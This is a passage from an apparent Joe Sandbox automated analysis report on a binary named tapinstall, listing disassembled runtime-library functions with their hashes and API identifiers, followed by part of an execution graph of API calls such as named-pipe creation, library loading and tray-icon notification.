                                                                                                                      • Associated: 0000000A.00000002.1807186532.00007FF76A737000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807209083.00007FF76A73A000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                      • Snapshot File: hcaresult_10_2_7ff76a6d0000_tapinstall.jbxd
                                                                                                                      Similarity
                                                                                                                      • API ID: _invalid_parameter_noinfo
                                                                                                                      • String ID: (null)
                                                                                                                      • API String ID: 3215553584-3941151225
                                                                                                                      • Opcode ID: 6c3bdb81d6503200fbc9806bbd4de99d2cd9e2aec5a58b5ddbe94e3352eb6c76
                                                                                                                      • Instruction ID: 38dbf4df197437b125fbd3b259ad18ff268ef780905d07d68044b71167352d1c
                                                                                                                      • Opcode Fuzzy Hash: 6c3bdb81d6503200fbc9806bbd4de99d2cd9e2aec5a58b5ddbe94e3352eb6c76
                                                                                                                      • Instruction Fuzzy Hash: 5841C2BA9086C3C6FB54AF28814427CB7A3EB15F48F9880B9C74D07399EF2AD445C720
                                                                                                                      Function 00007FF76A6F61AC Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 91COMMON
                                                                                                                      Download Yara Rule
                                                                                                                      APIs
                                                                                                                      Strings
                                                                                                                      Memory Dump Source
                                                                                                                      • Source File: 0000000A.00000002.1807103028.00007FF76A6D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF76A6D0000, based on PE: true
                                                                                                                      • Associated: 0000000A.00000002.1807079728.00007FF76A6D0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807156373.00007FF76A724000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807186532.00007FF76A737000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807209083.00007FF76A73A000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                      • Snapshot File: hcaresult_10_2_7ff76a6d0000_tapinstall.jbxd
                                                                                                                      Similarity
                                                                                                                      • API ID: _invalid_parameter_noinfo
                                                                                                                      • String ID: (null)
                                                                                                                      • API String ID: 3215553584-3941151225
                                                                                                                      • Opcode ID: 86f5d118cb039ec818438e09ce49581f3b3a508989dcbeb2b4f251bb552b9fde
                                                                                                                      • Instruction ID: a72d663ef0567a58efc4573ffab89bf79663f39b9445d53dcf58d926dadd69c6
                                                                                                                      • Opcode Fuzzy Hash: 86f5d118cb039ec818438e09ce49581f3b3a508989dcbeb2b4f251bb552b9fde
                                                                                                                      • Instruction Fuzzy Hash: F94171BA908683C6FB54AF28815427CF7A3EB15F48F9840B9CA4D07395DF2ED456D720
                                                                                                                      Function 00007FF76A6F686C Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 80COMMON
                                                                                                                      Download Yara Rule
                                                                                                                      APIs
                                                                                                                      Strings
                                                                                                                      Memory Dump Source
                                                                                                                      • Source File: 0000000A.00000002.1807103028.00007FF76A6D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF76A6D0000, based on PE: true
                                                                                                                      • Associated: 0000000A.00000002.1807079728.00007FF76A6D0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807156373.00007FF76A724000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807186532.00007FF76A737000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807209083.00007FF76A73A000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                      • Snapshot File: hcaresult_10_2_7ff76a6d0000_tapinstall.jbxd
                                                                                                                      Similarity
                                                                                                                      • API ID: _invalid_parameter_noinfo
                                                                                                                      • String ID: (null)
                                                                                                                      • API String ID: 3215553584-3941151225
                                                                                                                      • Opcode ID: cc2c6a8b0e55809a46d0f9a000170ec88b53eaf67deeeed0a9ebb9cf96cbfb4a
                                                                                                                      • Instruction ID: 2a6a5a853cd8f418bae0987ec8b0b9e69b71e346c2e35c9b7e4269847f8c7234
                                                                                                                      • Opcode Fuzzy Hash: cc2c6a8b0e55809a46d0f9a000170ec88b53eaf67deeeed0a9ebb9cf96cbfb4a
                                                                                                                      • Instruction Fuzzy Hash: E6317A76908693C6FB54AF15D14027CB7A2EB15F48F9840B9CA8C0B799CF7EE452C720
                                                                                                                      Function 00007FF76A6F6634 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 80COMMON
                                                                                                                      Download Yara Rule
                                                                                                                      APIs
                                                                                                                      Strings
                                                                                                                      Memory Dump Source
                                                                                                                      • Source File: 0000000A.00000002.1807103028.00007FF76A6D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF76A6D0000, based on PE: true
                                                                                                                      • Associated: 0000000A.00000002.1807079728.00007FF76A6D0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807156373.00007FF76A724000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807186532.00007FF76A737000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807209083.00007FF76A73A000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                      • Snapshot File: hcaresult_10_2_7ff76a6d0000_tapinstall.jbxd
                                                                                                                      Similarity
                                                                                                                      • API ID: _invalid_parameter_noinfo
                                                                                                                      • String ID: (null)
                                                                                                                      • API String ID: 3215553584-3941151225
                                                                                                                      • Opcode ID: 8d16575f416e964c397b675debac7c57f087c1fd9fd9ac565c228dc38de02ea8
                                                                                                                      • Instruction ID: 0090c53d7f5fc9cc375d8c03d6a1a7542c2304e82f08650cf167c22e87beb78c
                                                                                                                      • Opcode Fuzzy Hash: 8d16575f416e964c397b675debac7c57f087c1fd9fd9ac565c228dc38de02ea8
                                                                                                                      • Instruction Fuzzy Hash: 2531BA7A908682C6FB51AF19D10027CB7A3EB15F48FA840BACB4C07395DF7AE452C720
                                                                                                                      Function 00007FF76A6D93B8 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 80COMMON
                                                                                                                      Download Yara Rule
                                                                                                                      APIs
                                                                                                                      Strings
                                                                                                                      Memory Dump Source
                                                                                                                      • Source File: 0000000A.00000002.1807103028.00007FF76A6D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF76A6D0000, based on PE: true
                                                                                                                      • Associated: 0000000A.00000002.1807079728.00007FF76A6D0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807156373.00007FF76A724000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807186532.00007FF76A737000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807209083.00007FF76A73A000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                      • Snapshot File: hcaresult_10_2_7ff76a6d0000_tapinstall.jbxd
                                                                                                                      Similarity
                                                                                                                      • API ID: EntryInterlockedListNamePush__un
                                                                                                                      • String ID:
                                                                                                                      • API String ID: 524438517-3916222277
                                                                                                                      • Opcode ID: 417fdae7254f6f5144bd35c4e94cf888892e231184d73a789330c72b6a667246
                                                                                                                      • Instruction ID: d48f841e6e7fd800b254d827ec2ad4692a5cc7e4791a09ca8a27246fa08f8c06
                                                                                                                      • Opcode Fuzzy Hash: 417fdae7254f6f5144bd35c4e94cf888892e231184d73a789330c72b6a667246
                                                                                                                      • Instruction Fuzzy Hash: B7312612A29B91C0FA14FF269814469A7A1FB48FE8FD84675DD2D037C1DE39D412C360
                                                                                                                      Function 00007FF76A722648 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 54COMMON
                                                                                                                      Download Yara Rule
                                                                                                                      APIs
                                                                                                                      Strings
                                                                                                                      Memory Dump Source
                                                                                                                      • Source File: 0000000A.00000002.1807103028.00007FF76A6D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF76A6D0000, based on PE: true
                                                                                                                      • Associated: 0000000A.00000002.1807079728.00007FF76A6D0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807156373.00007FF76A724000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807186532.00007FF76A737000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807209083.00007FF76A73A000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                      • Snapshot File: hcaresult_10_2_7ff76a6d0000_tapinstall.jbxd
                                                                                                                      Similarity
                                                                                                                      • API ID: _set_errno_from_matherr
                                                                                                                      • String ID: exp
                                                                                                                      • API String ID: 1187470696-113136155
                                                                                                                      • Opcode ID: d5f934b609bcad54c18539aeaafe18b7f7d4df74e02c91daf66fb3b3797701d8
                                                                                                                      • Instruction ID: b88cd9ae66377435fb3dd229873794274127b9f113b69c57e2b2ba7290407c0a
                                                                                                                      • Opcode Fuzzy Hash: d5f934b609bcad54c18539aeaafe18b7f7d4df74e02c91daf66fb3b3797701d8
                                                                                                                      • Instruction Fuzzy Hash: 72213D76A2D685CBF760EF28A45026AB3A0FB9D700F901575F68D82B55DF3CE4408F50
                                                                                                                      Function 00007FF76A708EA0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 50COMMONLIBRARYCODE
                                                                                                                      Download Yara Rule
                                                                                                                      APIs
                                                                                                                      Strings
                                                                                                                      Memory Dump Source
                                                                                                                      • Source File: 0000000A.00000002.1807103028.00007FF76A6D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF76A6D0000, based on PE: true
                                                                                                                      • Associated: 0000000A.00000002.1807079728.00007FF76A6D0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807156373.00007FF76A724000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807186532.00007FF76A737000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807209083.00007FF76A73A000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                      • Snapshot File: hcaresult_10_2_7ff76a6d0000_tapinstall.jbxd
                                                                                                                      Similarity
                                                                                                                      • API ID: Stringtry_get_function
                                                                                                                      • String ID: LCMapStringEx
                                                                                                                      • API String ID: 2588686239-3893581201
                                                                                                                      • Opcode ID: cb295809db890668f8262a5fe3d3b6ddd0daf1558d4252fdccb92730558150a5
                                                                                                                      • Instruction ID: 245edf810dd5fe6f97fcc0b3349f2ae84ca65466ffaf08f832e7765971c490d3
                                                                                                                      • Opcode Fuzzy Hash: cb295809db890668f8262a5fe3d3b6ddd0daf1558d4252fdccb92730558150a5
                                                                                                                      • Instruction Fuzzy Hash: CE11E876608B81C6E6609F15B8402AAB7A5FBCDB94F944136EA8D83B19CF3CD4508B50
                                                                                                                      Function 00007FF76A7087B0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 50COMMON
                                                                                                                      Download Yara Rule
                                                                                                                      APIs
                                                                                                                      Strings
                                                                                                                      Memory Dump Source
                                                                                                                      • Source File: 0000000A.00000002.1807103028.00007FF76A6D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF76A6D0000, based on PE: true
                                                                                                                      • Associated: 0000000A.00000002.1807079728.00007FF76A6D0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807156373.00007FF76A724000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807186532.00007FF76A737000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807209083.00007FF76A73A000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                      • Snapshot File: hcaresult_10_2_7ff76a6d0000_tapinstall.jbxd
                                                                                                                      Similarity
                                                                                                                      • API ID: CompareStringtry_get_function
                                                                                                                      • String ID: CompareStringEx
                                                                                                                      • API String ID: 3328479835-2590796910
                                                                                                                      • Opcode ID: b4cbd51ef5490bc2d2e272553a4ec6addf4d60e5b84b1302dc18e736ddf69fb6
                                                                                                                      • Instruction ID: daee87c9cb51037834bc00a6ba0673329ce04cc523c642918de7f024c851273e
                                                                                                                      • Opcode Fuzzy Hash: b4cbd51ef5490bc2d2e272553a4ec6addf4d60e5b84b1302dc18e736ddf69fb6
                                                                                                                      • Instruction Fuzzy Hash: 1511F936A08BC1C6E760DF15B4402AAB7A5FB8DB90F944136EE8D43B59CF3CD5408B40
                                                                                                                      Function 00007FF76A708A50 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 46COMMON
                                                                                                                      Download Yara Rule
                                                                                                                      APIs
                                                                                                                      Strings
                                                                                                                      Memory Dump Source
                                                                                                                      • Source File: 0000000A.00000002.1807103028.00007FF76A6D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF76A6D0000, based on PE: true
                                                                                                                      • Associated: 0000000A.00000002.1807079728.00007FF76A6D0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807156373.00007FF76A724000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807186532.00007FF76A737000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807209083.00007FF76A73A000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                      • Snapshot File: hcaresult_10_2_7ff76a6d0000_tapinstall.jbxd
                                                                                                                      Similarity
                                                                                                                      • API ID: DateFormattry_get_function
                                                                                                                      • String ID: GetDateFormatEx
                                                                                                                      • API String ID: 595753042-159735388
                                                                                                                      • Opcode ID: 10ba63a0d18b04a583d40d43b30d9b9fca51ff14bda4a48675f954ae51532e04
                                                                                                                      • Instruction ID: 1c4555e74bd7fdc7c673764b9a015622ee20f34529cbd388c90f4b653e781ba9
                                                                                                                      • Opcode Fuzzy Hash: 10ba63a0d18b04a583d40d43b30d9b9fca51ff14bda4a48675f954ae51532e04
                                                                                                                      • Instruction Fuzzy Hash: D9112876A08B81C6E610DF5AB8401AAB7A0FB8CBD0F584176EE8D43B69CF3CD5448B50
                                                                                                                      Function 00007FF76A708C10 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 44timeCOMMON
                                                                                                                      Download Yara Rule
                                                                                                                      APIs
                                                                                                                      Strings
                                                                                                                      Memory Dump Source
                                                                                                                      • Source File: 0000000A.00000002.1807103028.00007FF76A6D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF76A6D0000, based on PE: true
                                                                                                                      • Associated: 0000000A.00000002.1807079728.00007FF76A6D0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807156373.00007FF76A724000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807186532.00007FF76A737000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807209083.00007FF76A73A000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                      • Snapshot File: hcaresult_10_2_7ff76a6d0000_tapinstall.jbxd
                                                                                                                      Similarity
                                                                                                                      • API ID: FormatTimetry_get_function
                                                                                                                      • String ID: GetTimeFormatEx
                                                                                                                      • API String ID: 3261793192-1692793031
                                                                                                                      • Opcode ID: aeeeb5d1137ef8777056a49e071640647c3087b2b7666cf388f882a4f27613d1
                                                                                                                      • Instruction ID: 06694cda4b02d26bf1bd3657a63994e1b34593be0adbb471bb3ab5fdbcc14a5b
                                                                                                                      • Opcode Fuzzy Hash: aeeeb5d1137ef8777056a49e071640647c3087b2b7666cf388f882a4f27613d1
                                                                                                                      • Instruction Fuzzy Hash: FB114F66A08781C6F710DF66B80006AB7A4FB8CBD0F984175EE8D53B69CE3CD5448B50
                                                                                                                      Function 00007FF76A708CBC Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 26COMMON
                                                                                                                      Download Yara Rule
                                                                                                                      APIs
                                                                                                                      Strings
                                                                                                                      Memory Dump Source
                                                                                                                      • Source File: 0000000A.00000002.1807103028.00007FF76A6D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF76A6D0000, based on PE: true
                                                                                                                      • Associated: 0000000A.00000002.1807079728.00007FF76A6D0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807156373.00007FF76A724000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807186532.00007FF76A737000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807209083.00007FF76A73A000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                      • Snapshot File: hcaresult_10_2_7ff76a6d0000_tapinstall.jbxd
                                                                                                                      Similarity
                                                                                                                      • API ID: DefaultUsertry_get_function
                                                                                                                      • String ID: GetUserDefaultLocaleName
                                                                                                                      • API String ID: 3217810228-151340334
                                                                                                                      • Opcode ID: 40f2b170c37b226c28a728e1fb59e4eb6a38f080f95f7a64a26471c64eab7d17
                                                                                                                      • Instruction ID: 63b7236a58ad6f69d14def77b35fa10ce2c7bcb2336a9b1e49f22bab430a8d40
                                                                                                                      • Opcode Fuzzy Hash: 40f2b170c37b226c28a728e1fb59e4eb6a38f080f95f7a64a26471c64eab7d17
                                                                                                                      • Instruction Fuzzy Hash: 9EF05852B18542C2FB14AF65EA846B9A2A6AF8C780FD440B9D90D0AB55CE2CA8858720
                                                                                                                      Function 00007FF76A708D74 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 25COMMON
                                                                                                                      Download Yara Rule
                                                                                                                      APIs
                                                                                                                      Strings
                                                                                                                      Memory Dump Source
                                                                                                                      • Source File: 0000000A.00000002.1807103028.00007FF76A6D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF76A6D0000, based on PE: true
                                                                                                                      • Associated: 0000000A.00000002.1807079728.00007FF76A6D0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807156373.00007FF76A724000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807186532.00007FF76A737000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807209083.00007FF76A73A000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                      • Snapshot File: hcaresult_10_2_7ff76a6d0000_tapinstall.jbxd
                                                                                                                      Similarity
                                                                                                                      • API ID: CountCriticalInitializeSectionSpintry_get_function
                                                                                                                      • String ID: InitializeCriticalSectionEx
                                                                                                                      • API String ID: 539475747-3084827643
                                                                                                                      • Opcode ID: 036a1433a8a1f8b3f241dbe4fb9b563d765e8a3562a01f57a6fbde3195910b39
                                                                                                                      • Instruction ID: c7c757fb709b8be11dfa22936c161e2888853e4903c634a22b642544b7132014
                                                                                                                      • Opcode Fuzzy Hash: 036a1433a8a1f8b3f241dbe4fb9b563d765e8a3562a01f57a6fbde3195910b39
                                                                                                                      • Instruction Fuzzy Hash: E8F05E66A18A82C2FA04BF51F9400A9A2A1FF8CB90FD951B5DA1D07B54CF3CE48597A0
                                                                                                                      Function 00007FF76A6D8A74 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 23COMMON
                                                                                                                      Download Yara Rule
                                                                                                                      APIs
                                                                                                                      • std::bad_alloc::bad_alloc.LIBCMT ref: 00007FF76A6D8A7D
                                                                                                                      • _CxxThrowException.LIBVCRUNTIME ref: 00007FF76A6D8A8E
                                                                                                                        • Part of subcall function 00007FF76A6D95E8: RtlPcToFileHeader.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00007FF76A6D8A93), ref: 00007FF76A6D965D
                                                                                                                        • Part of subcall function 00007FF76A6D95E8: RaiseException.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00007FF76A6D8A93), ref: 00007FF76A6D968F
                                                                                                                      Strings
                                                                                                                      Memory Dump Source
                                                                                                                      • Source File: 0000000A.00000002.1807103028.00007FF76A6D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF76A6D0000, based on PE: true
                                                                                                                      • Associated: 0000000A.00000002.1807079728.00007FF76A6D0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807156373.00007FF76A724000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807186532.00007FF76A737000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807209083.00007FF76A73A000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                      • Snapshot File: hcaresult_10_2_7ff76a6d0000_tapinstall.jbxd
                                                                                                                      Similarity
                                                                                                                      • API ID: Exception$FileHeaderRaiseThrowstd::bad_alloc::bad_alloc
                                                                                                                      • String ID: Unknown exception
                                                                                                                      • API String ID: 3561508498-410509341
                                                                                                                      • Opcode ID: c34982857cb7bf4f7b9c185461aa535e310ed63d4d8e15e87b28d440cdfdae32
                                                                                                                      • Instruction ID: 000398fdff5f146000af56e969383025ab67cde1fcd923b51054785b33de597a
                                                                                                                      • Opcode Fuzzy Hash: c34982857cb7bf4f7b9c185461aa535e310ed63d4d8e15e87b28d440cdfdae32
                                                                                                                      • Instruction Fuzzy Hash: 77D01762A18986D1FE10FB00E8843A8A331FB84748FE054B1D24C825B1DF6CDA4AC760
                                                                                                                      Function 00007FF76A7089FC Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 21COMMONLIBRARYCODE
                                                                                                                      Download Yara Rule
                                                                                                                      APIs
                                                                                                                      • try_get_function.LIBVCRUNTIME ref: 00007FF76A708A25
                                                                                                                      • TlsSetValue.KERNEL32(?,?,00000000,00007FF76A7077AE,?,?,00000000,00007FF76A706B85,?,?,?,?,00007FF76A6E6CA8), ref: 00007FF76A708A3C
                                                                                                                      Strings
                                                                                                                      Memory Dump Source
                                                                                                                      • Source File: 0000000A.00000002.1807103028.00007FF76A6D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF76A6D0000, based on PE: true
                                                                                                                      • Associated: 0000000A.00000002.1807079728.00007FF76A6D0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807156373.00007FF76A724000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807186532.00007FF76A737000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807209083.00007FF76A73A000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                      • Snapshot File: hcaresult_10_2_7ff76a6d0000_tapinstall.jbxd
                                                                                                                      Similarity
                                                                                                                      • API ID: Valuetry_get_function
                                                                                                                      • String ID: FlsSetValue
                                                                                                                      • API String ID: 738293619-3750699315
                                                                                                                      • Opcode ID: f6d5dd2663f4e630c5fdec50bbb7cd7a8c87450e82d038accba4aa9b3675ea98
                                                                                                                      • Instruction ID: ea75485539aa5bfaa467abb25df2b18cf1ad345312da20f18696e5336f1f5dee
                                                                                                                      • Opcode Fuzzy Hash: f6d5dd2663f4e630c5fdec50bbb7cd7a8c87450e82d038accba4aa9b3675ea98
                                                                                                                      • Instruction Fuzzy Hash: 86E06DA2A08642C1FA086F55FC000B9A262EF8C780FD950B6D91D0A654CE3CE8948320
                                                                                                                      Function 00007FF76A6DA544 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 21COMMONLIBRARYCODE
                                                                                                                      Download Yara Rule
                                                                                                                      APIs
                                                                                                                      • try_get_function.LIBVCRUNTIME ref: 00007FF76A6DA56D
                                                                                                                      • TlsSetValue.KERNEL32(?,?,?,00007FF76A6D9CC5,?,?,?,?,00007FF76A6D91A4,?,?,?,?,00007FF76A6D814B), ref: 00007FF76A6DA584
                                                                                                                      Strings
                                                                                                                      Memory Dump Source
                                                                                                                      • Source File: 0000000A.00000002.1807103028.00007FF76A6D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF76A6D0000, based on PE: true
                                                                                                                      • Associated: 0000000A.00000002.1807079728.00007FF76A6D0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807156373.00007FF76A724000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807186532.00007FF76A737000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807209083.00007FF76A73A000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                      • Snapshot File: hcaresult_10_2_7ff76a6d0000_tapinstall.jbxd
                                                                                                                      Similarity
                                                                                                                      • API ID: Valuetry_get_function
                                                                                                                      • String ID: FlsSetValue
                                                                                                                      • API String ID: 738293619-3750699315
                                                                                                                      • Opcode ID: 620ae2d36bd9a72b075ae6d885032ef81b4224fd675c2c0689d5fc8c746a91d4
                                                                                                                      • Instruction ID: 5659c502c8017acea0c50fe7284a9d3fd6ce45ed4e0ff9507ed9c500ad1ff771
                                                                                                                      • Opcode Fuzzy Hash: 620ae2d36bd9a72b075ae6d885032ef81b4224fd675c2c0689d5fc8c746a91d4
                                                                                                                      • Instruction Fuzzy Hash: C8E065A1A0C542C1FB047F51F4044B8A362EF8CB80FDA5071DA2D06658CE3CD454D730

                                                                                                                      Execution Graph

                                                                                                                      Execution Coverage:10.4%
                                                                                                                      Dynamic/Decrypted Code Coverage:100%
                                                                                                                      Signature Coverage:2.6%
                                                                                                                      Total number of Nodes:114
                                                                                                                      Total number of Limit Nodes:9
                                                                                                                      execution_graph 72344 b51f900 72345 b51f915 72344->72345 72346 b51f96e 72344->72346 72350 b4bf5e8 72345->72350 72354 b4bf5d9 72345->72354 72347 b51f921 72351 b4bf5f6 72350->72351 72358 b4bf638 72350->72358 72363 b4bf628 72350->72363 72351->72347 72356 b4bf628 2 API calls 72354->72356 72357 b4bf638 2 API calls 72354->72357 72355 b4bf5f6 72355->72347 72356->72355 72357->72355 72359 b4bf64d 72358->72359 72368 b4bf681 72359->72368 72372 b4bf690 72359->72372 72360 b4bf672 72360->72351 72364 b4bf64d 72363->72364 72366 b4bf681 2 API calls 72364->72366 72367 b4bf690 2 API calls 72364->72367 72365 b4bf672 72365->72351 72366->72365 72367->72365 72369 b4bf6a6 72368->72369 72370 b4bf710 72369->72370 72376 b4bfdb3 72369->72376 72370->72360 72373 b4bf6a6 72372->72373 72374 b4bf710 72373->72374 72375 b4bfdb3 2 API calls 72373->72375 72374->72360 72375->72374 72380 b51fe20 72376->72380 72385 b51fe11 72376->72385 72382 b51fe44 72380->72382 72381 b51fe72 72381->72381 72382->72381 72390 b6e0040 72382->72390 72395 b6e0006 72382->72395 72387 b51fe44 72385->72387 72386 b51fe72 72386->72386 72387->72386 72388 b6e0006 2 API calls 72387->72388 72389 b6e0040 2 API calls 72387->72389 72388->72387 72389->72387 72391 b6e005c 72390->72391 72392 b6e007d 72390->72392 72400 b6e01ec 72391->72400 72404 b6e01f8 72391->72404 72392->72382 72396 b6e005c 72395->72396 72397 b6e007d 72395->72397 72398 b6e01ec LoadLibraryA 72396->72398 72399 b6e01f8 LoadLibraryA 72396->72399 72397->72382 72398->72397 72399->72397 72401 b6e024b LoadLibraryA 72400->72401 72403 b6e02de 72401->72403 72405 b6e024b LoadLibraryA 72404->72405 72407 b6e02de 72405->72407 72336 59db3d8 72337 59db3f7 72336->72337 72340 59dce3f 72337->72340 72341 59dce61 72340->72341 72342 59d3350 Shell_NotifyIconW 72341->72342 72343 59db452 72342->72343 72296 24127c8 72297 2412829 CreateNamedPipeA 72296->72297 72299 241290b 72297->72299 72408 241239d 72409 24123aa 72408->72409 72411 24123b5 72408->72411 72414 2412a28 ConnectNamedPipe 72409->72414 72415 2412a1a ConnectNamedPipe 72409->72415 72410 24124b1 72411->72410 72412 2412a28 ConnectNamedPipe 72411->72412 72413 2412a1a ConnectNamedPipe 72411->72413 72412->72411 72413->72411 72414->72411 72415->72411 72300 59d2d10 72301 59d2d5b CreateWindowExW 72300->72301 72303 59d2dc5 72301->72303 72320 59dcf20 72321 59dcf3f 72320->72321 72324 59dd22f 72321->72324 72327 59dd254 72324->72327 72328 59d3350 72327->72328 72329 59d3383 72328->72329 72332 59d2634 72329->72332 72333 59d33f0 Shell_NotifyIconW 72332->72333 72335 59d34ef 72333->72335 72416 59d22c0 72417 59d22d2 72416->72417 72420 59d3243 72417->72420 72421 59d324d 72420->72421 72422 59d3297 72421->72422 72424 59d3350 Shell_NotifyIconW 72421->72424 72428 59d3343 72421->72428 72423 59d32bc 72423->72422 72432 59d3587 72423->72432 72440 59d3598 72423->72440 72424->72423 72429 59d334a 72428->72429 72430 59d2634 Shell_NotifyIconW 72429->72430 72431 